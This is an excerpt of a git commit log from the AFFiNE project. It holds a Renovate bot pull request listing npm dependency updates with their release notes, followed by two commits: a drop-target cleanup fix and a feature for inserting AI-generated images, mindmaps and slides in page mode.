| [openai](https://redirect.github.com/openai/openai-node) | [`4.76.2` -> `4.76.3`](https://renovatebot.com/diffs/npm/openai/4.76.2/4.76.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.76.2/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.76.2/4.76.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.3` -> `9.4.4`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.3/9.4.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.3/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.3/9.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [terser-webpack-plugin](https://redirect.github.com/webpack-contrib/terser-webpack-plugin) | [`5.3.10` -> `5.3.11`](https://renovatebot.com/diffs/npm/terser-webpack-plugin/5.3.10/5.3.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/terser-webpack-plugin/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/terser-webpack-plugin/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/terser-webpack-plugin/5.3.10/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/terser-webpack-plugin/5.3.10/5.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.4` -> `0.27.5`](https://renovatebot.com/diffs/npm/typedoc/0.27.4/0.27.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.4/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.4/0.27.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vaul](https://vaul.emilkowal.ski/) ([source](https://redirect.github.com/emilkowalski/vaul)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/vaul/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vaul/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vaul/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vaul/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vaul/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.712.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37120-2024-12-13)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.709.0...v3.712.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>conventional-changelog/commitlint (@&#8203;commitlint/cli)</summary>

### [`v19.6.1`](https://redirect.github.com/conventional-changelog/commitlint/blob/HEAD/@&#8203;commitlint/cli/CHANGELOG.md#1961-2024-12-15)

[Compare Source](https://redirect.github.com/conventional-changelog/commitlint/compare/v19.6.0...v19.6.1)

**Note:** Version bump only for package [@&#8203;commitlint/cli](https://redirect.github.com/commitlint/cli)

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.17.0`](https://redirect.github.com/eslint/eslint/releases/tag/v9.17.0)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.16.0...v9.17.0)

#### Features

-   [`eed91d1`](eed91d12d4) feat: add suggestions to `no-unused-vars` ([#&#8203;18352](https://redirect.github.com/eslint/eslint/issues/18352)) (Tanuj Kanti)

#### Bug Fixes

-   [`67d683d`](67d683df29) fix: fix crash when `message.fix` is nullish ([#&#8203;19168](https://redirect.github.com/eslint/eslint/issues/19168)) (ntnyq)
-   [`c618707`](c61870715e) fix: ignore vars with non-identifier references in no-useless-assignment ([#&#8203;19200](https://redirect.github.com/eslint/eslint/issues/19200)) (YeonJuan)

#### Documentation

-   [`3c22d2a`](3c22d2acce) docs: update `yoda` to `Yoda` in `yoda.md` for consistency ([#&#8203;19230](https://redirect.github.com/eslint/eslint/issues/19230)) (루밀LuMir)
-   [`e0a2203`](e0a220355f) docs: add missing backticks to `no-sequences` ([#&#8203;19233](https://redirect.github.com/eslint/eslint/issues/19233)) (루밀LuMir)
-   [`4cc4881`](4cc48812cd) docs: Update README (GitHub Actions Bot)
-   [`3db6fdf`](3db6fdf885) docs: \[no-await-in-loop] expand on benefits and inapplicability ([#&#8203;19211](https://redirect.github.com/eslint/eslint/issues/19211)) (Kirk Waiblinger)
-   [`bf2a4f6`](bf2a4f686b) docs: add missing backticks to `func-style` ([#&#8203;19227](https://redirect.github.com/eslint/eslint/issues/19227)) (루밀LuMir)
-   [`ba098bd`](ba098bd03c) docs: add missing header to `prefer-spread` ([#&#8203;19224](https://redirect.github.com/eslint/eslint/issues/19224)) (루밀LuMir)
-   [`b607ae6`](b607ae6491) docs: update description of `no-param-reassign` ([#&#8203;19220](https://redirect.github.com/eslint/eslint/issues/19220)) (루밀LuMir)
-   [`1eb424d`](1eb424de55) docs: add missing backticks to `prefer-destructuring` ([#&#8203;19223](https://redirect.github.com/eslint/eslint/issues/19223)) (루밀LuMir)
-   [`85998d1`](85998d1405) docs: add missing backticks to `no-unneeded-ternary` ([#&#8203;19222](https://redirect.github.com/eslint/eslint/issues/19222)) (루밀LuMir)
-   [`b75b32c`](b75b32c091) docs: add missing backticks to `no-new-func` ([#&#8203;19219](https://redirect.github.com/eslint/eslint/issues/19219)) (루밀LuMir)
-   [`a7700bc`](a7700bcc9c) docs: add missing backticks to `id-length` ([#&#8203;19217](https://redirect.github.com/eslint/eslint/issues/19217)) (루밀LuMir)
-   [`e2bb429`](e2bb429974) docs: add missing backticks to `complexity.md` ([#&#8203;19214](https://redirect.github.com/eslint/eslint/issues/19214)) (루밀LuMir)
-   [`045d716`](045d716b92) docs: add missing `)` to `id-denylist` ([#&#8203;19213](https://redirect.github.com/eslint/eslint/issues/19213)) (루밀LuMir)
-   [`7fe4114`](7fe4114be2) docs: Update README (GitHub Actions Bot)
-   [`c743ba6`](c743ba6402) docs: add CSS language to `no-restricted-syntax` ([#&#8203;19208](https://redirect.github.com/eslint/eslint/issues/19208)) (Milos Djermanovic)
-   [`1416d70`](1416d70d43) docs: add missing backticks to `eqeqeq` ([#&#8203;19207](https://redirect.github.com/eslint/eslint/issues/19207)) (루밀LuMir)
-   [`b950c1b`](b950c1b7db) docs: add missing backticks to `prefer-object-spread` ([#&#8203;19206](https://redirect.github.com/eslint/eslint/issues/19206)) (루밀LuMir)
-   [`8a941cb`](8a941cb776) docs: update docs and `description` of `require-unicode-regexp` ([#&#8203;19205](https://redirect.github.com/eslint/eslint/issues/19205)) (루밀LuMir)
-   [`cbab228`](cbab2281dd) docs: Update README (GitHub Actions Bot)
-   [`f2257ce`](f2257ce412) docs: update comments and `description` of `no-script-url` ([#&#8203;19203](https://redirect.github.com/eslint/eslint/issues/19203)) (루밀LuMir)
-   [`365f0f4`](365f0f4df7) docs: add missing backtick to `default-case-last` ([#&#8203;19202](https://redirect.github.com/eslint/eslint/issues/19202)) (루밀LuMir)
-   [`e6b84f5`](e6b84f535e) docs: add missing punctuation in document ([#&#8203;19161](https://redirect.github.com/eslint/eslint/issues/19161)) (루밀LuMir)
-   [`c88708e`](c88708e057) docs: replace quote with backtick in `description` of `for-direction` ([#&#8203;19199](https://redirect.github.com/eslint/eslint/issues/19199)) (루밀LuMir)
-   [`a76f233`](a76f233a67) docs: use higher contrast color tokens for code comments ([#&#8203;19187](https://redirect.github.com/eslint/eslint/issues/19187)) (Josh Goldberg )
-   [`db19502`](db19502497) docs: Update README (GitHub Actions Bot)

#### Chores

-   [`cc243c9`](cc243c9482) chore: upgrade to `@eslint/js@9.17.0` ([#&#8203;19242](https://redirect.github.com/eslint/eslint/issues/19242)) (Francesco Trotta)
-   [`84c5787`](84c5787780) chore: package.json update for [@&#8203;eslint/js](https://redirect.github.com/eslint/js) release (Jenkins)
-   [`4c4f53b`](4c4f53b8c9) chore: add missing backticks to `flags.js` ([#&#8203;19226](https://redirect.github.com/eslint/eslint/issues/19226)) (루밀LuMir)
-   [`4b3132c`](4b3132c3f5) chore: update dependency eslint-plugin-expect-type to ^0.6.0 ([#&#8203;19221](https://redirect.github.com/eslint/eslint/issues/19221)) (renovate\[bot])
-   [`9bf2204`](9bf220464a) chore: add type definitions for the `eslint-config-eslint` package ([#&#8203;19050](https://redirect.github.com/eslint/eslint/issues/19050)) (Arya Emami)
-   [`ee8c220`](ee8c2200a1) chore: fix incorrect `name` property in `integration-tutorial-code` ([#&#8203;19218](https://redirect.github.com/eslint/eslint/issues/19218)) (루밀LuMir)
-   [`cca801d`](cca801dd17) chore: Upgrade cross-spawn to 7.0.6 ([#&#8203;19185](https://redirect.github.com/eslint/eslint/issues/19185)) (folortin)

</details>

<details>
<summary>oxc-project/oxc-node (@&#8203;oxc-node/core)</summary>

### [`v0.0.16`](https://redirect.github.com/oxc-project/oxc-node/blob/HEAD/CHANGELOG.md#0016-2024-12-13)

[Compare Source](https://redirect.github.com/oxc-project/oxc-node/compare/v0.0.15...v0.0.16)

**Note:** Version bump only for package oxc-node

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.45.0`](https://redirect.github.com/getsentry/sentry-javascript/blob/HEAD/CHANGELOG.md#8450)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.44.0...8.45.0)

-   feat(core): Add `handled` option to `captureConsoleIntegration` ([#&#8203;14664](https://redirect.github.com/getsentry/sentry-javascript/pull/14664))
-   feat(browser): Attach virtual stack traces to `HttpClient` events ([#&#8203;14515](https://redirect.github.com/getsentry/sentry-javascript/pull/14515))
-   feat(replay): Upgrade rrweb packages to 2.31.0 ([#&#8203;14689](https://redirect.github.com/getsentry/sentry-javascript/pull/14689))
-   fix(aws-serverless): Remove v8 layer as it overwrites the current layer for docs ([#&#8203;14679](https://redirect.github.com/getsentry/sentry-javascript/pull/14679))
-   fix(browser): Mark stack trace from `captureMessage` with `attachStacktrace: true` as synthetic ([#&#8203;14668](https://redirect.github.com/getsentry/sentry-javascript/pull/14668))
-   fix(core): Mark stack trace from `captureMessage` with `attatchStackTrace: true` as synthetic ([#&#8203;14670](https://redirect.github.com/getsentry/sentry-javascript/pull/14670))
-   fix(core): Set `level` in server runtime `captureException` ([#&#8203;10587](https://redirect.github.com/getsentry/sentry-javascript/pull/10587))
-   fix(profiling-node): Guard invocation of native profiling methods ([#&#8203;14676](https://redirect.github.com/getsentry/sentry-javascript/pull/14676))
-   fix(nuxt): Inline nitro-utils function ([#&#8203;14680](https://redirect.github.com/getsentry/sentry-javascript/pull/14680))
-   fix(profiling-node): Ensure profileId is added to transaction event ([#&#8203;14681](https://redirect.github.com/getsentry/sentry-javascript/pull/14681))
-   fix(react): Add React Router Descendant Routes support ([#&#8203;14304](https://redirect.github.com/getsentry/sentry-javascript/pull/14304))
-   fix: Disable ANR and Local Variables if debugger is enabled via CLI args ([#&#8203;14643](https://redirect.github.com/getsentry/sentry-javascript/pull/14643))

Work in this release was contributed by [@&#8203;anonrig](https://redirect.github.com/anonrig) and [@&#8203;Zih0](https://redirect.github.com/Zih0). Thank you for your contributions!

</details>

<details>
<summary>TanStack/table (@&#8203;tanstack/react-table)</summary>

### [`v8.20.6`](https://redirect.github.com/TanStack/table/releases/tag/v8.20.6)

[Compare Source](https://redirect.github.com/TanStack/table/compare/v8.20.5...v8.20.6)

Version 8.20.6 - 12/13/24, 2:34 PM

#### Changes

##### Fix

-   JSX namespace from React ([#&#8203;5830](https://redirect.github.com/TanStack/table/issues/5830)) ([`cbcea6a`](https://redirect.github.com/TanStack/table/commit/cbcea6a)) by Bill Collins

##### Chore

-   update [@&#8203;tanstack/config](https://redirect.github.com/tanstack/config) to v0.13.0 ([#&#8203;5731](https://redirect.github.com/TanStack/table/issues/5731)) ([`2db4061`](https://redirect.github.com/TanStack/table/commit/2db4061)) by Lachlan Collins

##### Docs

-   Updated some incomplete docs ([#&#8203;5741](https://redirect.github.com/TanStack/table/issues/5741)) ([`6b4d616`](https://redirect.github.com/TanStack/table/commit/6b4d616)) by M Hamid
-   Fix label typo in config.json ([#&#8203;5712](https://redirect.github.com/TanStack/table/issues/5712)) ([`7fe650d`](https://redirect.github.com/TanStack/table/commit/7fe650d)) by Petter Juterud Barhaugen

#### Packages

-   [@&#8203;tanstack/react-table](https://redirect.github.com/tanstack/react-table)[@&#8203;8](https://redirect.github.com/8).20.6
-   [@&#8203;tanstack/react-table-devtools](https://redirect.github.com/tanstack/react-table-devtools)[@&#8203;8](https://redirect.github.com/8).20.6

</details>

<details>
<summary>conventional-changelog/commitlint (commitlint)</summary>

### [`v19.6.1`](https://redirect.github.com/conventional-changelog/commitlint/blob/HEAD/@&#8203;alias/commitlint/CHANGELOG.md#1961-2024-12-15)

[Compare Source](https://redirect.github.com/conventional-changelog/commitlint/compare/v19.6.0...v19.6.1)

**Note:** Version bump only for package commitlint

</details>

<details>
<summary>NaturalIntelligence/fast-xml-parser (fast-xml-parser)</summary>

### [`v4.5.1`](https://redirect.github.com/NaturalIntelligence/fast-xml-parser/compare/v4.5.0...v4.5.1)

[Compare Source](https://redirect.github.com/NaturalIntelligence/fast-xml-parser/compare/v4.5.0...v4.5.1)

</details>

<details>
<summary>graphql/graphql-js (graphql)</summary>

### [`v16.10.0`](https://redirect.github.com/graphql/graphql-js/releases/tag/v16.10.0): 16.10.0

[Compare Source](https://redirect.github.com/graphql/graphql-js/compare/v16.9.0...v16.10.0)

#### v16.10.0 (2024-12-15)

##### New Feature 🚀

-   [#&#8203;4286](https://redirect.github.com/graphql/graphql-js/pull/4286) fix: properly type `extensions` in GraphQLFormattedError ([@&#8203;tpoisseau](https://redirect.github.com/tpoisseau))
-   [#&#8203;4292](https://redirect.github.com/graphql/graphql-js/pull/4292) Expose tokenCount on the DocumentNode ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

##### Bug Fix 🐞

-   [#&#8203;4137](https://redirect.github.com/graphql/graphql-js/pull/4137) backport(v16): Require non-empty directive locations ([#&#8203;4100](https://redirect.github.com/graphql/graphql-js/issues/4100)) ([@&#8203;benjie](https://redirect.github.com/benjie))
-   [#&#8203;4168](https://redirect.github.com/graphql/graphql-js/pull/4168) fix(validation): catch OverlappingFieldsCanBeMergedRule violations with nested fragments ([@&#8203;sachindshinde](https://redirect.github.com/sachindshinde))
-   [#&#8203;4226](https://redirect.github.com/graphql/graphql-js/pull/4226) Backport introspection type fix ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4291](https://redirect.github.com/graphql/graphql-js/pull/4291) Address empty selection-set ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

##### Docs 📝

<details>
<summary> 10 PRs were merged </summary>

-   [#&#8203;4240](https://redirect.github.com/graphql/graphql-js/pull/4240) Convert from docusaurus to nextra ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4248](https://redirect.github.com/graphql/graphql-js/pull/4248) Add content from [https://github.com/graphql/graphql.github.io/pull/1782](https://redirect.github.com/graphql/graphql.github.io/pull/1782) ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4249](https://redirect.github.com/graphql/graphql-js/pull/4249) Styling fixes ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4256](https://redirect.github.com/graphql/graphql-js/pull/4256) Various fixes to docs ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4279](https://redirect.github.com/graphql/graphql-js/pull/4279) Solve some low hanging fruit in the documentation ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4283](https://redirect.github.com/graphql/graphql-js/pull/4283) Add overview page and add stackblitz to tutorial ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4284](https://redirect.github.com/graphql/graphql-js/pull/4284) Provide people with tabs so they can use classes as well ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4289](https://redirect.github.com/graphql/graphql-js/pull/4289) Add note about defer/stream being v17 ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4290](https://redirect.github.com/graphql/graphql-js/pull/4290) Write about `@oneOf` in the graphql-js documentation ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
-   [#&#8203;4295](https://redirect.github.com/graphql/graphql-js/pull/4295) Split up in v16 API documentation ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

</details>

##### Internal 🏠
<details>
<summary> 4 PRs were merged </summary>

-   [#&#8203;4138](https://redirect.github.com/graphql/graphql-js/pull/4138) Upgrade codecov action and pass token ([@&#8203;benjie](https://redirect.github.com/benjie))
-   [#&#8203;4139](https://redirect.github.com/graphql/graphql-js/pull/4139) Fix codecov workflow ([@&#8203;benjie](https://redirect.github.com/benjie))
-   [#&#8203;4157](https://redirect.github.com/graphql/graphql-js/pull/4157) Add GraphQLConf 2024 banner ([@&#8203;bignimbus](https://redirect.github.com/bignimbus))
-   [#&#8203;4193](https://redirect.github.com/graphql/graphql-js/pull/4193) Upgrade deprecated actions ([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))

</details>

##### Committers: 5
* Benjie([@&#8203;benjie](https://redirect.github.com/benjie))
* Jeff Auriemma([@&#8203;bignimbus](https://redirect.github.com/bignimbus))
* Jovi De Croock([@&#8203;JoviDeCroock](https://redirect.github.com/JoviDeCroock))
* Sachin D. Shinde([@&#8203;sachindshinde](https://redirect.github.com/sachindshinde))
* tpoisseau([@&#8203;tpoisseau](https://redirect.github.com/tpoisseau))

</details>

<details>
<summary>jakearchibald/idb (idb)</summary>

### [`v8.0.1`](https://redirect.github.com/jakearchibald/idb/compare/v8.0.0...v8.0.1)

[Compare Source](https://redirect.github.com/jakearchibald/idb/compare/v8.0.0...v8.0.1)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.4`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.4)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.3...v15.0.4)

##### Bug Fixes

-   fix list with no items looping forever ([#&#8203;3560](https://redirect.github.com/markedjs/marked/issues/3560)) ([e4198ed](e4198ed70d))

</details>

<details>
<summary>mswjs/msw (msw)</summary>

### [`v2.6.9`](https://redirect.github.com/mswjs/msw/releases/tag/v2.6.9)

[Compare Source](https://redirect.github.com/mswjs/msw/compare/v2.6.8...v2.6.9)

#### v2.6.9 (2024-12-16)

##### Bug Fixes

-   support `SharedArrayBuffer` in `HttpResponse.arrayBuffer` ([#&#8203;2389](https://redirect.github.com/mswjs/msw/issues/2389)) ([`41f00e1`](41f00e1a67)) [@&#8203;danilofuchs](https://redirect.github.com/danilofuchs) [@&#8203;kettanaito](https://redirect.github.com/kettanaito)

</details>

<details>
<summary>remy/nodemon (nodemon)</summary>

### [`v3.1.9`](https://redirect.github.com/remy/nodemon/releases/tag/v3.1.9)

[Compare Source](https://redirect.github.com/remy/nodemon/compare/v3.1.8...v3.1.9)

##### Bug Fixes

-   maintain backward support for `exitcrash` ([9c9de6e](9c9de6eb07))

### [`v3.1.8`](https://redirect.github.com/remy/nodemon/releases/tag/v3.1.8)

[Compare Source](https://redirect.github.com/remy/nodemon/compare/v3.1.7...v3.1.8)

##### Bug Fixes

-   types updated ([cb91187](cb91187ef6))

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.76.3`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4763-2024-12-13)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.76.2...v4.76.3)

Full Changelog: [v4.76.2...v4.76.3](https://redirect.github.com/openai/openai-node/compare/v4.76.2...v4.76.3)

##### Chores

-   **internal:** better ecosystem test debugging ([86fc0a8](86fc0a81ed))

##### Documentation

-   **README:** fix helpers section links ([#&#8203;1224](https://redirect.github.com/openai/openai-node/issues/1224)) ([efbe30a](efbe30a156))

</details>

<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>

### [`v9.4.4`](https://redirect.github.com/gpbl/react-day-picker/releases/tag/v9.4.4)

[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.3...v9.4.4)

This release fixes an issue with the month names in the Jalali calendar.

#### What's Changed

-   fix(jalali): defaults calendar to `faIR` locale and RTL direction by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2624](https://redirect.github.com/gpbl/react-day-picker/pull/2624)

**Full Changelog**: https://github.com/gpbl/react-day-picker/compare/v9.4.3...v9.4.4

</details>

<details>
<summary>webpack-contrib/terser-webpack-plugin (terser-webpack-plugin)</summary>

### [`v5.3.11`](https://redirect.github.com/webpack-contrib/terser-webpack-plugin/blob/HEAD/CHANGELOG.md#5311-2024-12-13)

[Compare Source](https://redirect.github.com/webpack-contrib/terser-webpack-plugin/compare/v5.3.10...v5.3.11)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.5`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0275-2024-12-14)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.4...v0.27.5)

##### Bug Fixes

-   Possibly Breaking: TypeDoc will no longer render anchors within the page for
    deeply nested properties. This only affects links to properties of
    properties of types, which did not have a clickable link exposed so are
    unlikely to have been linked to. Furthermore, these links were not always
    created by TypeDoc, only being created if all parent properties contained
    comments, [#&#8203;2808](https://redirect.github.com/TypeStrong/TypeDoc/issues/2808).
-   TypeDoc will now warn if a property which does not have a URL within the
    rendered document and the parent property/page will be linked to instead,
    [#&#8203;2808](https://redirect.github.com/TypeStrong/TypeDoc/issues/2808). These warnings can be disabled with the `validation.rewrittenLink`
    option.
-   Fix restoration of groups/categories including documents, [#&#8203;2801](https://redirect.github.com/TypeStrong/TypeDoc/issues/2801).
-   Fixed missed relative paths within markdown link references in documents.
-   Improved handling of incomplete inline code blocks within markdown.
-   Direct `https://` links under the `hostedBaseUrl` option's URL will no
    longer be treated as external, [#&#8203;2809](https://redirect.github.com/TypeStrong/TypeDoc/issues/2809).

##### Thanks!

-   [@&#8203;SacDeNoeuds](https://redirect.github.com/SacDeNoeuds)

</details>

<details>
<summary>emilkowalski/vaul (vaul)</summary>

### [`v1.1.2`](https://redirect.github.com/emilkowalski/vaul/releases/tag/v1.1.2)

[Compare Source](https://redirect.github.com/emilkowalski/vaul/compare/v1.1.1...v1.1.2)

#### What's Changed

-   fix: update peer deps for react and react-dom by [@&#8203;shadcn](https://redirect.github.com/shadcn) in [https://github.com/emilkowalski/vaul/pull/504](https://redirect.github.com/emilkowalski/vaul/pull/504)
-   fix: nested drawer onOpenChange issue by [@&#8203;chrism](https://redirect.github.com/chrism) in [https://github.com/emilkowalski/vaul/pull/516](https://redirect.github.com/emilkowalski/vaul/pull/516)

#### New Contributors

-   [@&#8203;chrism](https://redirect.github.com/chrism) made their first contribution in [https://github.com/emilkowalski/vaul/pull/516](https://redirect.github.com/emilkowalski/vaul/pull/516)

**Full Changelog**: https://github.com/emilkowalski/vaul/compare/v1.1.1...v1.1.2

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNjkuMyIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-16 13:03:46 +00:00
pengx17
7b0387541c fix(core): redudant drop target register (#9177)
fix the following issue.
root cause is that options.element is being reused when cleaning up, but if its value comes from a ref, it might be null at that point.

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/1739c4e0-9ba8-4e27-8944-c6022644b40d.png)
2024-12-16 10:23:31 +00:00
akumatus
2f79104bdb feat(core): support ai insert image, mindmap, slides and make it real in page mode (#9164)
Support issue [BS-2085](https://linear.app/affine-design/issue/BS-2085).

### What changed?
- Refactor the `actionToAnswerRenderer` function to support reuse in both page mode and edgeless mode.
- Add a new `page-response.ts` module to handle AI-generated answers in page mode.
    - Remove the redundant `edgelessHandler` function from `_common/config.ts`.
- Introduce the `AIContext` class along with the `ctx` TypeScript type to standardize context management.
- Implement the `createTemplateJob` function to enable AI slide insertion in both page mode and edgeless mode.

Insert mindmap on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/30630d3e-ebd9-416b-9bb9-5f27086e48a3.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/30630d3e-ebd9-416b-9bb9-5f27086e48a3.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/30630d3e-ebd9-416b-9bb9-5f27086e48a3.mov">mindmap.mov</video>

Insert image on edgeless note
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/b850ee5a-a06b-4ae7-8b68-ed5929a6e81a.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/b850ee5a-a06b-4ae7-8b68-ed5929a6e81a.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/b850ee5a-a06b-4ae7-8b68-ed5929a6e81a.mov">image3.mov</video>

Insert image on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/c4f98e2d-0b15-4310-b3e0-0725e330302b.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/c4f98e2d-0b15-4310-b3e0-0725e330302b.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/c4f98e2d-0b15-4310-b3e0-0725e330302b.mov">image.mov</video>

Generate image from image:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/2776a55f-cbb7-47ce-8e7d-7cae243fa3e9.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/2776a55f-cbb7-47ce-8e7d-7cae243fa3e9.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/2776a55f-cbb7-47ce-8e7d-7cae243fa3e9.mov">image2.mov</video>

Insert presentation on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/4e228fa5-88f4-478c-8b79-647612d5515c.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/4e228fa5-88f4-478c-8b79-647612d5515c.mov">
            </a>
          </div>
